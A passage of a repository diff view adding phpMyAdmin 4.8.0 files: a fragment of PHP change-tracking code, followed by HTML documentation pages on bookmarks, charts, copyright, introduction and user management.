' , "\n"; + + if (empty($db_is_system_schema)) { + echo CreateTable::getHtml($db); + } + exit; +} + +// --------------------------------------------------------------------------- +$relation = new Relation(); +$cfgRelation = $relation->getRelationsParam(); + +// Prepare statement to get HEAD version +$all_tables_query = ' SELECT table_name, MAX(version) as version FROM ' . + Util::backquote($cfgRelation['db']) . '.' . + Util::backquote($cfgRelation['tracking']) . + ' WHERE db_name = \'' . $GLOBALS['dbi']->escapeString($_REQUEST['db']) . + '\' ' . + ' GROUP BY table_name' . + ' ORDER BY table_name ASC'; + +$all_tables_result = $relation->queryAsControlUser($all_tables_query); + +// If a HEAD version exists +if (is_object($all_tables_result) + && $GLOBALS['dbi']->numRows($all_tables_result) > 0 +) { + echo Tracking::getHtmlForTrackedTables( + $GLOBALS['db'], $all_tables_result, $url_query, $pmaThemeImage, + $text_dir, $cfgRelation + ); +} + +$untracked_tables = Tracking::getUntrackedTables($GLOBALS['db']); + +// If untracked tables exist +if (count($untracked_tables) > 0) { + echo Tracking::getHtmlForUntrackedTables( + $GLOBALS['db'], $untracked_tables, $url_query, $pmaThemeImage, $text_dir + ); +} +// If available print out database log +if (count($data['ddlog']) > 0) { + $log = ''; + foreach ($data['ddlog'] as $entry) { + $log .= '# ' . $entry['date'] . ' ' . $entry['username'] . "\n" + . $entry['statement'] . "\n"; + } + echo Util::getMessage(__('Database Log'), $log); +} 18 phpMyAdmin-4.8.0-all-languages/db_triggers.php @@ -0,0 +1,18 @@ + + + + + + + + Bookmarks — phpMyAdmin 4.8.0 documentation + + + + + + + + + + + + + + + + + + + +

+ +

Bookmarks¶

Note

You need to have configured the phpMyAdmin configuration storage for using bookmarks +feature.

Storing bookmarks¶

Any query you have executed can be stored as a bookmark on the page +where the results are displayed. You will find a button labeled +Bookmark this query just at the end of the page. As soon as you have +stored a bookmark, it is related to the database you run the query on. +You can now access a bookmark dropdown on each page, the query box +appears on for that database.

Variables inside bookmarks¶

You can also have, inside the query, placeholders for variables. +This is done by inserting into the query SQL comments between /* and +*/. Inside the comments, the special strings [VARIABLE{variable-number}] is used. +Be aware that the whole query minus the SQL comments must be +valid by itself, otherwise you won’t be able to store it as a bookmark. +Note also that the text ‘VARIABLE’ is case-sensitive.

When you execute the bookmark, everything typed into the Variables +input boxes on the query box page will replace the strings /*[VARIABLE{variable-number}]*/ in +your stored query.

Also remember, that everything else inside the /*[VARIABLE{variable-number}]*/ string for +your query will remain the way it is, but will be stripped of the /**/ +chars. So you can use:

/*, [VARIABLE1] AS myname */ 

+
 
+

which will be expanded to

, VARIABLE1 as myname 

+
 
+

in your query, where VARIABLE1 is the string you entered in the Variable 1 input box.

A more complex example. Say you have stored +this query:

SELECT Name, Address FROM addresses WHERE 1 /* AND Name LIKE '%[VARIABLE1]%' */ 

+
 
+

Say, you now enter “phpMyAdmin” as the variable for the stored query, the full +query will be:

SELECT Name, Address FROM addresses WHERE 1 AND Name LIKE '%phpMyAdmin%' 

+
 
+

NOTE THE ABSENCE OF SPACES inside the /**/ construct. Any spaces +inserted there will be later also inserted as spaces in your query and may lead +to unexpected results especially when using the variable expansion inside of a +“LIKE ‘’” expression.

Browsing table using bookmark¶

When bookmark is named same as table, it will be used as query when browsing +this table.

Charts¶

New in version 3.4.0.

Since phpMyAdmin version 3.4.0, you can easily generate charts from a SQL query +by clicking the “Display chart” link in the “Query results operations” area.

A window layer “Display chart” is shown in which you can customize the chart with the following options.

Chart type: Allows you choose the type of the chart. Supported types are bar charts, column charts, line charts, spline charts, area charts, pie charts and timeline charts (only the chart types applicable for current series selection are offered).
X-axis: Allows to choose the field for the main axis.
Series: Allows to choose series for the chart. You can choose multiple series.
Title: Allows specifying a title for the chart which is displayed above the chart.
X-axis and Y-axis labels: Allows specifying labels for axes.
Start row and number of rows: Allows generating charts only for a specified number of rows of the results set.

Chart implementation¶

Charts in phpMyAdmin are drawn using jqPlot jQuery library.

Examples¶

Pie chart¶

Query results for a simple pie chart can be generated with:

SELECT 'Food' AS 'expense', 

+   1250 AS 'amount' UNION 

+SELECT 'Accommodation', 500 UNION 

+SELECT 'Travel', 720 UNION 

+SELECT 'Misc', 220 

+
 
+

And the result of this query is:

+ ++++ + + + + + + + + + + + + + + + + + + + +

expense	amount
Food	1250
Accommodation	500
Travel	720
Misc	220

Choosing expense as the X-axis and amount in series:

Bar and column chart¶

Both bar charts and column chats support stacking. Upon selecting one of these types a checkbox is displayed to select stacking.

Query results for a simple bar or column chart can be generated with:

SELECT 

+   'ACADEMY DINOSAUR' AS 'title', 

+   0.99 AS 'rental_rate', 

+   20.99 AS 'replacement_cost' UNION 

+SELECT 'ACE GOLDFINGER', 4.99, 12.99 UNION 

+SELECT 'ADAPTATION HOLES', 2.99, 18.99 UNION 

+SELECT 'AFFAIR PREJUDICE', 2.99, 26.99 UNION 

+SELECT 'AFRICAN EGG', 2.99, 22.99 

+
 
+

And the result of this query is:

+ +++++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

title	rental_rate	replacement_cost
ACADEMY DINOSAUR	0.99	20.99
ACE GOLDFINGER	4.99	12.99
ADAPTATION HOLES	2.99	18.99
AFFAIR PREJUDICE	2.99	26.99
AFRICAN EGG	2.99	22.99

Choosing title as the X-axis and rental_rate and replacement_cost as series:

Scatter chart¶

Scatter charts are useful in identifying the movement of one or more variable(s) compared to another variable.

Using the same data set from bar and column charts section and choosing replacement_cost as the X-axis and rental_rate in series:

Line, spline and timeline charts¶

These charts can be used to illustrate trends in underlying data. Spline charts draw smooth lines while timeline charts draw X-axis taking the distances between the dates/time into consideration.

Query results for a simple line, spline or timeline chart can be generated with:

SELECT 

+   DATE('2006-01-08') AS 'date', 

+   2056 AS 'revenue', 

+   1378 AS 'cost' UNION 

+SELECT DATE('2006-01-09'), 1898, 2301 UNION 

+SELECT DATE('2006-01-15'), 1560, 600 UNION 

+SELECT DATE('2006-01-17'), 3457, 1565 

+
 
+

And the result of this query is:

+ +++++ + + + + + + + + + + + + + + + + + + + + + + + + +

date	revenue	cost
2016-01-08	2056	1378
2006-01-09	1898	2301
2006-01-15	1560	600
2006-01-17	3457	1565

+ + +

+ +

+ + + + 6,192 phpMyAdmin-4.8.0-all-languages/doc/html/config.html Load diff Large diffs are not rendered by default. 151 phpMyAdmin-4.8.0-all-languages/doc/html/copyright.html @@ -0,0 +1,151 @@ + + + + + + + + Copyright — phpMyAdmin 4.8.0 documentation + + + + + + + + + + + + + + + + + + +

+ +

Copyright¶

Copyright (C) 1998-2000 Tobias Ratschiller <tobias_at_ratschiller.com> 

+Copyright (C) 2001-2018 Marc Delisle <marc_at_infomarc.info> 

+    Olivier Müller <om_at_omnis.ch> 

+    Robin Johnson <robbat2_at_users.sourceforge.net> 

+    Alexander M. Turek <me_at_derrabus.de> 

+    Michal Čihař <michal_at_cihar.com> 

+    Garvin Hicking <me_at_supergarv.de> 

+    Michael Keck <mkkeck_at_users.sourceforge.net> 

+    Sebastian Mendel <cybot_tm_at_users.sourceforge.net> 

+    [check credits for more details] 

+
 
+

This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2, as +published by the Free Software Foundation.

This program is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details.

You should have received a copy of the GNU General Public License +along with this program. If not, see <https://www.gnu.org/licenses/>.

Third party licenses¶

phpMyAdmin includes several third party libraries which come under their +respective licenses.

jQuery’s license, which is where we got the files under js/vendor/jquery/ is +(MIT|GPL), a copy of each license is available in this repository (GPL +is available as LICENSE, MIT as js/vendor/jquery/MIT-LICENSE.txt).

The download kit additionally includes several composer libraries. See their +licensing information in the vendor/ directory.

+ + +

+ +

+ + + + 1,353 phpMyAdmin-4.8.0-all-languages/doc/html/credits.html Load diff Large diffs are not rendered by default. 117 phpMyAdmin-4.8.0-all-languages/doc/html/developers.html @@ -0,0 +1,117 @@ + + + + + + + + Developers Information — phpMyAdmin 4.8.0 documentation + + + + + + + + + + + + + + + + + + +

+ +

Developers Information¶

phpMyAdmin is Open Source, so you’re invited to contribute to it. Many +great features have been written by other people and you too can help +to make phpMyAdmin a useful tool.

You can check out all the possibilities to contribute in the +contribute section on our website.

+ + +

+ +

+ + + + 2,017 phpMyAdmin-4.8.0-all-languages/doc/html/faq.html Load diff Large diffs are not rendered by default. 4,265 phpMyAdmin-4.8.0-all-languages/doc/html/genindex.html Load diff Large diffs are not rendered by default. 638 phpMyAdmin-4.8.0-all-languages/doc/html/glossary.html Load diff Large diffs are not rendered by default. 470 phpMyAdmin-4.8.0-all-languages/doc/html/import_export.html Load diff Large diffs are not rendered by default. 228 phpMyAdmin-4.8.0-all-languages/doc/html/index.html @@ -0,0 +1,228 @@ + + + + + + + + Welcome to phpMyAdmin’s documentation! — phpMyAdmin 4.8.0 documentation + + + + + + + + + + + + + + + + + +

+ +

Welcome to phpMyAdmin’s documentation!¶

Contents:

Introduction
- Supported features
- Shortcut keys
- A word about users
+
Requirements
- Web server
- PHP
- Database
- Web browser
+
Installation
+
Configuration
+
User Guide
- Configuring phpMyAdmin
- Two-factor authentication
- Transformations
- Bookmarks
- User management
- Relations
- Charts
- Import and export
- Custom Themes
- Other sources of information
+
FAQ - Frequently Asked Questions
- Server
- Configuration
- Known limitations
- ISPs, multi-user installations
- Browsers or client OS
- Using phpMyAdmin
- phpMyAdmin project
- Security
- Synchronization
+
Developers Information
Security policy
- Typical vulnerabilities
- Reporting security issues
+
Distributing and packaging phpMyAdmin
- External libraries
+
Copyright
- Third party licenses
+
Credits
+
Glossary

Indices and tables¶

+ + +

+ +

+ + + + 195 phpMyAdmin-4.8.0-all-languages/doc/html/intro.html @@ -0,0 +1,195 @@ + + + + + + + + Introduction — phpMyAdmin 4.8.0 documentation + + + + + + + + + + + + + + + + + + +

+ +

Introduction¶

phpMyAdmin is a free software tool written in PHP that is intended to handle the +administration of a MySQL or MariaDB database server. You can use phpMyAdmin to +perform most administration tasks, including creating a database, running queries, +and adding user accounts.

Supported features¶

Currently phpMyAdmin can:

create, browse, edit, and drop databases, tables, views, columns, and indexes
display multiple results sets through stored procedures or queries
create, copy, drop, rename and alter databases, tables, columns and +indexes
maintenance server, databases and tables, with proposals on server +configuration
execute, edit and bookmark any SQL-statement, even batch-queries
load text files into tables
create [1] and read dumps of tables
export [1] data to various formats: CSV, XML, PDF, +ISO/IEC 26300 - OpenDocument Text and Spreadsheet, Microsoft +Word 2000, and LATEX formats
import data and MySQL structures from OpenDocument spreadsheets, as +well as XML, CSV, and SQL files
administer multiple servers
add, edit, and remove MySQL user accounts and privileges
check referential integrity in MyISAM tables
using Query-by-example (QBE), create complex queries automatically +connecting required tables
create PDF graphics of your +database layout
search globally in a database or a subset of it
transform stored data into any format using a set of predefined +functions, like displaying BLOB-data as image or download-link
track changes on databases, tables and views
support InnoDB tables and foreign keys
support mysqli, the improved MySQL extension see 1.17 Which Database versions does phpMyAdmin support?
create, edit, call, export and drop stored procedures and functions
create, edit, export and drop events and triggers
communicate in 80 different languages

Shortcut keys¶

Currently phpMyAdmin supports following shortcuts:

k - Toggle console
h - Go to home page
s - Open settings
d + s - Go to database structure (Provided you are in database related page)
d + f - Search database (Provided you are in database related page)
t + s - Go to table structure (Provided you are in table related page)
t + f - Search table (Provided you are in table related page)
backspace - Takes you to older page.

A word about users¶

Many people have difficulty understanding the concept of user +management with regards to phpMyAdmin. When a user logs in to +phpMyAdmin, that username and password are passed directly to MySQL. +phpMyAdmin does no account management on its own (other than allowing +one to manipulate the MySQL user account information); all users must +be valid MySQL users.

Footnotes

+ + + + + +

[1]	(1, 2) phpMyAdmin can compress (Zip, GZip or RFC 1952 +formats) dumps and CSV exports if you use PHP with +Zlib support (`--with-zlib`). +Proper support may also need changes in `php.ini`.

+ + +

+ +

+ + + + 158 phpMyAdmin-4.8.0-all-languages/doc/html/other.html @@ -0,0 +1,158 @@ + + + + + + + + Other sources of information — phpMyAdmin 4.8.0 documentation + + + + + + + + + + + + + + + + + + + +

+ +

Other sources of information¶

Printed Book¶

The definitive guide to using phpMyAdmin is the book Mastering phpMyAdmin for +Effective MySQL Management by Marc Delisle. You can get information on that +book and other officially endorsed books at the phpMyAdmin site.

Tutorials¶

Third party tutorials and articles which you might find interesting:

Česky (Czech)¶

Seriál o phpMyAdminovi

English¶

Русский (Russian)¶

Russian server about phpMyAdmin

+ + +

+ +

+ + + + 188 phpMyAdmin-4.8.0-all-languages/doc/html/privileges.html @@ -0,0 +1,188 @@ + + + + + + + + User management — phpMyAdmin 4.8.0 documentation + + + + + + + + + + + + + + + + + + + +

+ +

User management¶

User management is the process of controlling which users are allowed to +connect to the MySQL server and what permissions they have on each database. +phpMyAdmin does not handle user management, rather it passes the username and +password on to MySQL, which then determines whether a user is permitted to +perform a particular action. Within phpMyAdmin, administrators have full +control over creating users, viewing and editing privileges for existing users, +and removing users.

Within phpMyAdmin, user management is controlled via the Users link +from the main page. Users can be created, edited, and removed.

Creating a new user¶

To create a new user, click the Add a new user link near the bottom +of the Users page (you must be a “superuser”, e.g., user “root”). +Use the textboxes and drop-downs to configure the user to your particular +needs. You can then select whether to create a database for that user and grant +specific global privileges. Once you’ve created the user (by clicking Go), you +can define that user’s permissions on a specific database (don’t grant global +privileges in that case). In general, users do not need any global privileges +(other than USAGE), only permissions for their specific database.

Editing an existing user¶

To edit an existing user, simply click the pencil icon to the right of that +user in the Users page. You can then edit their global- and +database-specific privileges, change their password, or even copy those +privileges to a new user.

Deleting a user¶

From the Users page, check the checkbox for the user you wish to +remove, select whether or not to also remove any databases of the same name (if +they exist), and click Go.

Assigning privileges to user for a specific database¶

Users are assigned to databases by editing the user record (from the +Users link on the home page) not from within the Users +link under the table. If you are creating a user specifically for a given table +you will have to create the user first (with no global privileges) and then go +back and edit that user to add the table and privileges for the individual +table.

Configurable menus and user groups¶

By enabling $cfg['Servers'][$i]['usergroups'] and +$cfg['Servers'][$i]['usergroups'] you can customize what users +will see in the phpMyAdmin navigation.

Warning

This feature only limits what a user sees, he is still able to use all the +functions. So this can not be considered as a security limitation. Should +you want to limit what users can do, use MySQL privileges to achieve that.

With this feature enabled, the User accounts management interface gains +a second tab for managing User groups, where you can define what each +group will view (see image below) and you can then assign each user to one of +these groups. Users will be presented with a simplified user interface, which might be +useful for inexperienced users who could be overwhelmed by all the features +phpMyAdmin provides.

+ + +

+ +

+ + +